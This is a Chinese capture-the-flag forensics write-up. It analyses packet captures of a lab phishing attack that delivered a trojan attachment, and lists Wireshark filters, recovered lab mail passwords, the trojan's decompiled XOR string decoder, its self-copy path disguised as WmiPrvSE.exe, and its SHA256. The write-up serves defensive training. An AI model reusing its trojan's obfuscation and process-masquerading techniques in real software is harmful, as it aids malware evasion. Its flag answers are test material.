{"id":3941,"date":"2026-07-25T00:20:24","date_gmt":"2026-07-24T16:20:24","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=3941"},"modified":"2026-07-25T00:25:34","modified_gmt":"2026-07-24T16:25:34","slug":"%e7%ac%ac%e4%b8%80%e5%b1%8a%e5%a5%bd%e9%9d%b6%e5%9c%ba%e7%bb%bc%e5%90%88%e8%b5%9b-%e5%8f%a4%e6%b3%95%e8%b5%9b%e9%81%93-%e8%89%b2%e6%83%85%e9%92%93%e9%b1%bc%e9%82%ae%e4%bb%b6%e6%b5%81%e9%87%8f%e5%ae%98","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=3941","title":{"rendered":"\u7b2c\u4e00\u5c4a\u597d\u9776\u573a\u7efc\u5408\u8d5b-\u53e4\u6cd5\u8d5b\u9053-\u8272\u60c5\u9493\u9c7c\u90ae\u4ef6\u6d41\u91cf\u5b98\u7f51wp"},"content":{"rendered":"\n

\u8272\u60c5\u9493\u9c7c\u90ae\u4ef6\u6d41\u91cf<\/strong><\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6750\u6599\u6e05\u5355\uff1a<\/p>\n\n\n\n

\u7f16\u53f7<\/th>\u6587\u4ef6\u540d<\/th>\u8bf4\u660e<\/th><\/tr><\/thead>
A<\/td>\u9648\u5c0f\u660e.pcapng<\/td>\u53d7\u5bb3\u8005\u4e3b\u673a\u7f51\u7edc\u6d41\u91cf\u6355\u83b7<\/td><\/tr>
B<\/td>\u653b\u51fb\u673a.pcapng<\/td>\u653b\u51fb\u8005\u4e3b\u673a\u7f51\u7edc\u6d41\u91cf\u6355\u83b7<\/td><\/tr>
C<\/td>\u670d\u52a1\u5668.pcapng<\/td>\u90ae\u4ef6\u670d\u52a1\u5668\u7f51\u7edc\u6d41\u91cf\u6355\u83b7<\/td><\/tr>
D<\/td>sslkeys.log<\/td>TLS\u4f1a\u8bdd\u5bc6\u94a5\u65e5\u5fd7\uff08\u53ef\u7528\u4e8e\u89e3\u5bc6HTTPS\u6d41\u91cf\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

\u63d0\u4ea4\u683c\u5f0f\uff1a<\/strong> flag{\u7b54\u6848\u5185\u5bb9}<\/code>\uff0c\u7b54\u6848\u4e2d\u82e5\u6709\u591a\u4e2a\u503c\u7528\u82f1\u6587\u9017\u53f7\u5206\u9694\uff0c\u5168\u90e8\u5c0f\u5199\uff0c\u65e0\u7a7a\u683c\u3002<\/p>\n\n\n\n

\u6728\u9a6c\u7981\u6b62\u5728\u672c\u673a\u8fd0\u884c\uff0c\u6728\u9a6c\u7981\u6b62\u5728\u672c\u673a\u8fd0\u884c \u6728\u9a6c\u7981\u6b62\u5728\u672c\u673a\u8fd0\u884c \u5728\u865a\u62df\u673a\u8fd0\u884c<\/strong><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u4e2a\u9898\u76ee\u5176\u5b9e\u548c AI\u8d5b\u9053\u7684\u751c\u751c\u7684\u9677\u9631\u2014Windows \u5e94\u6025\u54cd\u5e94\u662f\u540c\u4e00\u4e2a <\/p>\n\n\n\n

\u751c\u751c\u7684\u9677\u9631\u2014Windows \u5e94\u6025\u54cd\u5e94 \u622a\u56fe<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6728\u9a6c\u7981\u6b62\u5728\u672c\u673a\u8fd0\u884c<\/p>\n\n\n\n

\u539f\u59cb\u6587\u4ef6<\/p>\n\n\n\n

\u5148\u5bfc\u5165\u89e3\u5bc6\u6587\u4ef6 \u4f1a\u8bdd\u4e3b\u5bc6\u94a5<\/strong><\/p>\n\n\n\n

\u6253\u5f00 Wireshark \u2192 \u7f16\u8f91<\/strong> \u2192 \u9996\u9009\u9879<\/strong> \u2192 \u534f\u8bae(Protocols)<\/strong> \u2192 TLS<\/strong><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

1.\u653b\u51fb\u8005\u4f7f\u7528\u7684\u64cd\u4f5c\u7cfb\u7edf\u4e3b\u673a\u540d\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n

\u8fc7\u6ee4 \u53ea\u770bDHCP\u670d\u52a1\u5668\u7684<\/p>\n\n\n\n

dhcp.option.hostname\n#tshark\u547d\u4ee4 \ntshark -r \u9648\u5c0f\u660e.pcapng -Y \"dhcp.option.hostname\" -T fields -e ip.src -e dhcp.option.hostname | sort -u<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230kali\u4e3a\u653b\u51fb\u673a\uff0c\u8fd9\u4e2a\u4e3b\u673a\u540e\u7eed\u53c8\u53c2\u4e0e\u90ae\u4ef6\u6295\u9012\u548c C2 \u901a\u4fe1\uff0c\u56e0\u6b64\u53ef\u4f5c\u4e3a\u653b\u51fb\u673a\u4e3b\u673a\u540d\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e5f\u53ef\u4ee5\u5f97\u5230\u53d7\u5bb3\u673a\u7684\u540d\u5b57\u662fWIN-5CNHCFAIMP9<\/p>\n\n\n\n
flag{kali}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2.\u653b\u51fb\u8005\u7684IP\u5730\u5740\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx}<\/code><\/p>\n\n\n\n
\u770b\u4f1a\u8bdd\u6700\u591a\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6216\u8005\u76f4\u63a5\u8fc7\u6ee4\u4e3b\u673a\u540d\u4e3a kali<\/code> \u7684 DHCP \u5305<\/p>\n\n\n\n
dhcp.option.hostname == \"kali\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{192.168.39.88}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3.\u53d7\u5bb3\u8005\u4e3b\u673a\u4e00\u5171\u914d\u7f6e\u4e86\u51e0\u4e2aIP\u5730\u5740\uff1f\u8bf7\u6309\u7167\u4ece\u5c0f\u5230\u5927\u7684\u987a\u5e8f\u5168\u90e8\u5217\u51fa\u3002<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx,xxx.xxx.xxx.xxx,...}<\/code><\/p>\n\n\n\n
\u53d7\u5bb3\u673a\u901a\u8fc7 NBNS \u5e7f\u64ad\u81ea\u5df1\u7684\u4e3b\u673a\u540d<\/p>\n\n\n\n
nbns.name contains \"WIN-5CNHCFAIMP9\"\n#tshark\u547d\u4ee4\ntshark -r \u9648\u5c0f\u660e.pcapng -Y \"dhcp.option.hostname == WIN-5CNHCFAIMP9\" -T fields -e ip.src | sort -u<\/code><\/pre>\n\n\n\n
\u6309\u5305\u53f7\u4ece\u5c0f\u5230\u5927\u67e5\u770b Source Address<\/code>\uff0c\u7b2c 1<\/code>\u300117<\/code>\u300134<\/code>\u300153<\/code> \u5305\u5206\u522b\u5bf9\u5e94\u56db\u4e2a\u6e90 IP\u3002\u6309\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\u540e\u63d0\u4ea4\u3002<\/p>\n\n\n\n
\u5305\u53f7\uff1a1\u300117\u300134\u300153<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{192.168.39.92,192.168.39.144,192.168.39.150,192.168.39.152}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
4.\u90ae\u4ef6\u670d\u52a1\u5668\u7684IP\u5730\u5740\u548c\u57df\u540d\u5206\u522b\u662f\u4ec0\u4e48\uff1f\uff08\u683c\u5f0f\uff1aIP_\u57df\u540d\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx_xxx.xxx.xxx}<\/code><\/p>\n\n\n\n
SMTP \u670d\u52a1\u5efa\u7acb\u8fde\u63a5\u65f6\u4f1a\u8fd4\u56de 220 banner <\/p>\n\n\n\n
smtp.response.code == 220<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u670d\u52a1\u5668\u57df\u540d <\/p>\n\n\n\n
flag{192.168.39.138_mail.jiujiu.com}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
5.\u90ae\u4ef6\u670d\u52a1\u5668\u4f7f\u7528\u7684\u662f\u4ec0\u4e48\u8f6f\u4ef6\uff1fSMTP \u548c POP3 \u5206\u522b\u4f7f\u7528\u7684\u7aef\u53e3\u53f7\u662f\u591a\u5c11\uff1f\uff08\u683c\u5f0f\uff1a\u8f6f\u4ef6,SMTP\u7aef\u53e3,POP3\u7aef\u53e3\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx,\u6570\u5b57,\u6570\u5b57}<\/code><\/p>\n\n\n\n
smtp.response.code == 220 || tcp.port == 25 || tcp.port == 110<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u4e0a\u4e00\u4e2a\u5305\u53ef\u4ee5\u5f97\u5230 SMTP banner \u663e\u793a\u8f6f\u4ef6\u4e3a Postfix<\/code>\uff0cTCP \u6e90\u7aef\u53e3\u4e3a 25<\/code>\u7ee7\u7eed\u770b POP3 \u8fde\u63a5\uff0c\u7b2c 495 \u5305\u670d\u52a1\u7aef\u4ece 110 \u7aef\u53e3\u54cd\u5e94\u5ba2\u6237\u7aef\uff0c\u6240\u4ee5 POP3 \u7aef\u53e3\u662f 110<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u7b54\u6848 mang<\/p>\n\n\n\n
flag{Postfix,25,110}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
6.\u90ae\u4ef6\u670d\u52a1\u5668EHLO\u54cd\u5e94\u4e2d\u58f0\u660e\u652f\u6301\u54ea\u4e9b\u4f20\u8f93\u52a0\u5bc6\u65b9\u5f0f\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
EHLO \u540e\u670d\u52a1\u7aef\u4f1a\u7528 250 \u54cd\u5e94\u5217\u51fa\u80fd\u529b  428 \u5c31\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
\u8fc7\u6ee4\u547d\u4ee4<\/p>\n\n\n\n
smtp.response.code == 250<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{STARTTLS}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
7.\u53d7\u5bb3\u8005\u4e3b\u673a\u7684\u8ba1\u7b97\u673a\u540d\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u5728\u7b2c\u4e00\u9898\u6211\u4eec\u5c31\u5f97\u5230\u4e86  DHCP\u91cc\u9762\u4e5f\u6709 \u4e5f\u53ef\u4ee5\u968f\u4fbf\u627e\u627e\u5c31\u53ef\u4ee5\u5f97\u5230 \u4f46\u662f\u4e3b\u8981\u662f\u770b\u53d7\u5bb3\u8005\u67d0\u4e2a IP \u53d1\u51fa\u7684 NBNS \u5305<\/p>\n\n\n\n
nbns && ip.src == 192.168.39.150<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{WIN-5CNHCFAIMP9}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
8.\u7f51\u7edc\u4e2dDHCP\u670d\u52a1\u5668\u5206\u914d\u7ed9\u53d7\u5bb3\u8005\u7684\u9ed8\u8ba4\u7f51\u5173IP\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx.xxx.xxx.xxx}<\/code><\/p>\n\n\n\n
\u8fc7\u6ee4 DHCP \u4e2d\u7531 192.168.39.254<\/code> \u5206\u914d\u5730\u5740\u7684\u54cd\u5e94\u5305<\/p>\n\n\n\n
dhcp.option.dhcp_server_id == 192.168.39.254<\/code><\/pre>\n\n\n\n
\u67e5\u770b DHCP \u76f8\u5173\u5b57\u6bb5\uff0c\u53ef\u4ee5\u770b\u5230\u5206\u914d\u65b9\u4e3a 192.168.39.254<\/code>\uff1b\u9898\u76ee\u7b54\u6848\u6309\u8fd9\u4e2a\u7f51\u5173\u8bbe\u5907\u5730\u5740\u63d0\u4ea4<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{192.168.39.254}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
9.\u653b\u51fb\u8005\u4f7f\u7528\u7684\u9493\u9c7c\u90ae\u7bb1\u5730\u5740\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx@xxx.xxx}<\/code><\/p>\n\n\n\n
SMTP \u53d1\u4ef6\u4eba\u7531 MAIL FROM<\/code> \u547d\u4ee4\u7ed9\u51fa<\/p>\n\n\n\n
\u53ea\u770b\u90ae\u4ef6\u6d41\u91cf\u5c31\u884c<\/p>\n\n\n\n
smtp.req.command == \"MAIL\" <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u9875\u9762\u5c31\u53ef\u4ee5\u770b\u5230\u4e86  192.168.39.138 \u90ae\u4ef6\u670d\u52a1\u5668 192.168.39.88 \u4e3a\u653b\u51fb\u673a 192.168.39.92 \u662f\u53d7\u5bb3\u673a<\/p>\n\n\n\n
flag{tiantian@jiujiu.com}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
10.\u53d7\u5bb3\u8005\u7684\u90ae\u7bb1\u5730\u5740\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx@xxx.xxx}<\/code><\/p>\n\n\n\n
\u5728\u4e0a\u4e00\u9898\u5c31\u53ef\u4ee5\u5f97\u5230\u4e86<\/p>\n\n\n\n
SMTP \u6536\u4ef6\u4eba\u7531 RCPT TO<\/code> \u547d\u4ee4\u7ed9\u51fa\u8fc7\u6ee4\u653b\u51fb\u8005\u53d1\u51fa\u7684 RCPT \u5305  \u5176\u5b9e\u8fc7\u6ee4\u4e0d\u8fc7\u6ee4\u968f\u4fbf\u4e00\u770b\u5c31\u53ef\u4ee5\u5f97\u5230\u7b54\u6848\u4e86  <\/p>\n\n\n\n
smtp.req.command == \"RCPT\" && ip.src == 192.168.39.88<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{chenxiaoming@jiujiu.com}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
11.\u53d7\u5bb3\u8005\u901a\u8fc7POP3\u534f\u8bae\u6536\u53d6\u90ae\u4ef6\u65f6\u4f7f\u7528\u7684\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
POP3 AUTH PLAIN \u7684\u8ba4\u8bc1\u6570\u636e\u662f Base64<\/p>\n\n\n\n
\u5728\u7b2c 502<\/code> \u5305 \u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{chenxiaoming123}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
12.\u653b\u51fb\u8005 tiantian \u5728 POP3 \u767b\u5f55\u65f6\u4f7f\u7528\u7684\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u540c\u6837\u67e5\u770b POP3 AUTH PLAIN  \u7b2c763 \u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{Mail#Jiujiu2026}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
13.\u5728\u6574\u4e2a\u653b\u51fb\u8fc7\u7a0b\u4e2d\uff0c\u53d7\u5bb3\u673a POP3 \u603b\u5171\u8fdb\u884c\u4e86\u51e0\u6b21\u767b\u5f55\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u8fd9\u4e2a\u9898\u76ee\u662f\u6309\u552f\u4e00\u767b\u5f55\u8d26\u53f7\/\u51ed\u636e\u7edf\u8ba1\u3002\u8fc7\u6ee4\u540e\u80fd\u770b\u5230\u4e24\u7c7b\u8ba4\u8bc1\u6570\u636e\uff1a\u7b2c 502<\/code> \u5305\u5bf9\u5e94 chenxiaoming<\/code>\uff0c\u7b2c 763<\/code> \u5305\u5bf9\u5e94 tiantian<\/code>\u3002\u56e0\u6b64\u767b\u5f55\u8d26\u53f7\u79cd\u7c7b\u4e3a 2\u3002\u5c31\u662f\u5728\u6d41\u91cf\u5305\u53ea\u53ef\u4ee5\u770b\u5230\u8fd9\u4e24\u4e2a\u767b\u5f55\u6240\u4ee5\u4e3a2 <\/p>\n\n\n\n
\u5982\u679c\u9700\u8981\u770b\u6e05\u695a\u70b9\u53ef\u4ee5\u8fc7\u6ee4<\/p>\n\n\n\n
pop.request.command contains \"AGNo\" || pop.request.command contains \"AHRp\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{2}<\/code><\/pre>\n\n\n\n
14.\u5728\u6574\u4e2a\u653b\u51fb\u8fc7\u7a0b\u4e2d\uff0c\u653b\u51fb\u8005\uff08tiantian\uff09\u4e00\u5171\u5411\u53d7\u5bb3\u8005\u53d1\u9001\u4e86\u591a\u5c11\u5c01\u90ae\u4ef6\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u6bcf\u5c01\u90ae\u4ef6\u90fd\u4f1a\u51fa\u73b0\u4e00\u6b21 MAIL FROM<\/code>\u3002\u8f93\u5165\u8fc7\u6ee4\u5668\u540e\uff0c\u7edf\u8ba1\u8fc7\u6ee4\u7ed3\u679c\u4e2d\u7684\u6570\u636e\u5305\u6570\u91cf \u611f\u89c9\u6b63\u5e38\u505a\u9898\u5f88\u96be\u6570\u4f46\u662f\u53ef\u4ee5\u5927\u6982\u627e\u627e\u4e5f\u53ef\u4ee5\u5728\u533a\u95f4\u8303\u56f4\u76f2\u731c<\/p>\n\n\n\n
smtp.req.command == \"MAIL\" && smtp.req.parameter contains \"tiantian\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u517118<\/p>\n\n\n\n
flag{18}<\/code><\/pre>\n\n\n\n
15.\u653b\u51fb\u8005\u53d1\u9001\u7684\u6240\u6709\u90ae\u4ef6\u4e2d\uff0c\u4f53\u79ef\u6700\u5927\u7684\u4e00\u5c01\u90ae\u4ef6\u5927\u5c0f\u662f\u591a\u5c11\u5b57\u8282\uff1f\uff08SMTP SIZE\u53c2\u6570\u503c\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
SMTP \u7684 MAIL FROM<\/code> \u53c2\u6570\u4e2d\u4f1a\u643a\u5e26 SIZE<\/code>\u3002\u8fc7\u6ee4\u540e\u9010\u4e2a\u67e5\u770b smtp.req.parameter<\/code><\/p>\n\n\n\n
smtp.req.command == \"MAIL\" && smtp.req.parameter contains \"SIZE\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{9139617}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
16.\u653b\u51fb\u8005\u53d1\u9001\u7684\u5305\u542b\u6076\u610f\u9644\u4ef6”\u4e0a\u95e8\u670d\u52a1”\u7684\u90a3\u5c01\u90ae\u4ef6\uff0c\u5176\u90ae\u4ef6\u4e3b\u9898\u662f\u4ec0\u4e48\uff1f\uff08\u89e3\u7801\u540e\u7684\u4e2d\u6587\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u4e0a\u9898\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u653b\u51fb\u8005\u5411 \u9648\u5c0f\u660e\u4f20\u8f93\u4e86\u8272\u60c5\u9493\u9c7c\u5e94\u7528 \u8fd9\u4e2a\u662f\u5f00\u59cb\u4f20\u8f93\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u5f80\u8ddf\u8fdb \u5230\u4f20\u8f93\u5e94\u7528\u7ed3\u675f\u7684\u9636\u6bb5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{\u4f60\u7684\u4e0a\u95e8\u670d\u52a1\u54e6!}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
17.\u7b2c\u4e00\u5c01\u9493\u9c7c\u90ae\u4ef6\u7684\u4e3b\u9898\u662f\u4ec0\u4e48\uff1f\uff08\u89e3\u7801\u540e\u7684\u4e2d\u6587\uff09<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
\u8fc7\u6ee4 tiantian \u53d1\u51fa\u7684\u90ae\u4ef6\uff0c\u7136\u540e\u6309\u5305\u53f7\u4ece\u5c0f\u5230\u5927\u770b\u7b2c\u4e00\u5c01<\/p>\n\n\n\n
imf.from contains \"tiantian\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
438 \u67e5\u770b IMF \u7684 Subject<\/code> \u5b57\u6bb5\uff0c\u89e3\u7801\u540e\u4e3a \u54e5\u54e5<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{\u54e5\u54e5}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
18.\u653b\u51fb\u8005\uff08tiantian\uff09\u5728\u793e\u5de5\u90ae\u4ef6\u4e2d\u5171\u5411\u53d7\u5bb3\u8005\u53d1\u9001\u4e86\u591a\u5c11\u5f20PNG\u56fe\u7247\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{\u6570\u5b57}<\/code><\/p>\n\n\n\n
\u8fc7\u6ee4 MIME \u4e2d\u7684 PNG \u9644\u4ef6<\/p>\n\n\n\n
mime_multipart.header.content-type contains \"image\/png\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b2c 3669 \u5305\u6709 1.png\uff0c\u7b2c 11664 \u5305\u6709 2.png\u548c 3.png\uff0c\u7b2c 21834\u5305\u6709 4.png\u548c 5.png\uff0c\u5408\u8ba1 5 \u5f20 PNG \u56fe\u7247\u3002<\/p>\n\n\n\n
flag{5}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
19.\u6728\u9a6c\u4e0a\u7ebf\u540e\u81ea\u6211\u590d\u5236\u5230\u54ea\u4e2a\u8def\u5f84\uff0c\u4f2a\u88c5\u6210\u4ec0\u4e48\u7cfb\u7edf\u8fdb\u7a0b\u540d\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx,xxx}<\/code><\/p>\n\n\n\n
\u5148\u4e0b\u8f7d\u6076\u610f\u6587\u4ef6<\/p>\n\n\n\n
\u6839\u636e\u4e0a\u9762\u53ef\u4ee5\u5f97\u5230\u4fe1\u606f\u5b9a\u4f4d\u7b2c 35901<\/code> \u5305\u3002\u5305\u91cc\u6709\u9644\u4ef6 \u4e0a\u95e8\u670d\u52a1.exe<\/code>\u3002\u5728 Wireshark \u4e2d\u53ef\u4ee5\u7528 \u6587\u4ef6(File) -> \u5bfc\u51fa\u5bf9\u8c61(Export Objects) -> IMF<\/code> \u5bfc\u51fa\uff0c\u4e5f\u53ef\u4ee5\u5728\u8be5\u5305 MIME \u9644\u4ef6\u5b57\u6bb5\u4e0a\u53f3\u952e\u4fdd\u5b58\u3002\u540e\u9762\u9759\u6001\u5206\u6790\u9898\u90fd\u57fa\u4e8e\u8fd9\u4e2a\u5bfc\u51fa\u7684\u6837\u672c\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4fdd\u5b58\u5206\u79bb \u5f97\u5230exe\u5c31\u884c\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6728\u9a6c\u6587\u4ef6\u7528ILSpy\u53cd\u7f16\u8bd1<\/p>\n\n\n\n
\u5728 X(string): string \u53ef\u4ee5\u627e\u5230 \u89e3\u5bc6\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
public static string X(string s)\n{\n    byte[] array = Convert.FromBase64String(s);   #Base64 \u89e3\u7801\n    byte b = 90;                                  #\u5bc6\u94a5\uff1a90\uff08\u5341\u8fdb\u5236\uff0c\u5bf9\u5e94 ASCII 'Z'\uff0c\u5341\u516d\u8fdb\u5236 0x5A\uff09\n    for (int i = 0; i < array.Length; i++)\n    {\n        array[i] ^= b;                           #\u9010\u5b57\u8282\u5f02\u6216\n    }\n    return Encoding.UTF8.GetString(array);       #UTF-8 \u8f6c\u5b57\u7b26\u4e32\n}<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u89e3\u5bc6\u4e5f\u5c31\u77e5\u9053\u662f\u600e\u4e48\u52a0\u5bc6 \u89e3\u5bc6\u76f4\u63a5\u89e3\u5bc6\u5728\u5f02\u6216\u89e3\u5c31\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u89e3\u5bc6\u540e\u5f97\u5230 <\/p>\n\n\n\n
MicrosoftWindowsWMIWmiPrvSE.exe<\/code><\/pre>\n\n\n\n
\u6240\u4ee5\u5b8c\u6574\u81ea\u590d\u5236\u8def\u5f84\u4e3a \u3002 <\/p>\n\n\n\n
C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe #\u4f2a\u88c5\u8fdb\u7a0b\u540d\u4e3a WmiPrvSE.exe\u3002 \nflag{C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe,WmiPrvSE.exe}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
20.\u53ef\u7591\u6587\u4ef6”\u4e0a\u95e8\u670d\u52a1.exe”\u7684SHA256\u54c8\u5e0c\u503c\u662f\u591a\u5c11\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{SHA256}<\/code><\/p>\n\n\n\n
\u8ba1\u7b97\u53ef\u4ee5\u4f7f\u7528<\/p>\n\n\n\n
\u4f7f\u7528 certutil<\/code>\uff08\u7cfb\u7edf\u81ea\u5e26\uff09<\/p>\n\n\n\n
certutil -hashfile \"\u4e0a\u95e8\u670d\u52a1.exe\" SHA256<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f7f\u7528 PowerShell<\/p>\n\n\n\n
Get-FileHash -Path \"\u4e0a\u95e8\u670d\u52a1.exe\" -Algorithm SHA256 #\u5927\u5199\n(Get-FileHash -Path \"\u4e0a\u95e8\u670d\u52a1.exe\" -Algorithm SHA256).Hash.ToLower()  #\u5c0f\u5199<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
linux<\/strong><\/p>\n\n\n\n
sha256sum \u4e0a\u95e8\u670d\u52a1.exe<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
21.\u8be5\u6076\u610f\u6837\u672c\u662f\u57fa\u4e8e\u4ec0\u4e48\u5f00\u53d1\u6846\u67b6\u7f16\u8bd1\u7684\uff1f<\/h3>\n\n\n\n
\u63d0\u4ea4\u683c\u5f0f\uff1aflag{xxx}<\/code><\/p>\n\n\n\n
die\u67e5\u770b\u5c31\u884c\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6216\u8005<\/p>\n\n\n\n
file \u4e0a\u95e8\u670d\u52a1.exe<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{.net}<\/code><\/pre>\n\n\n\n
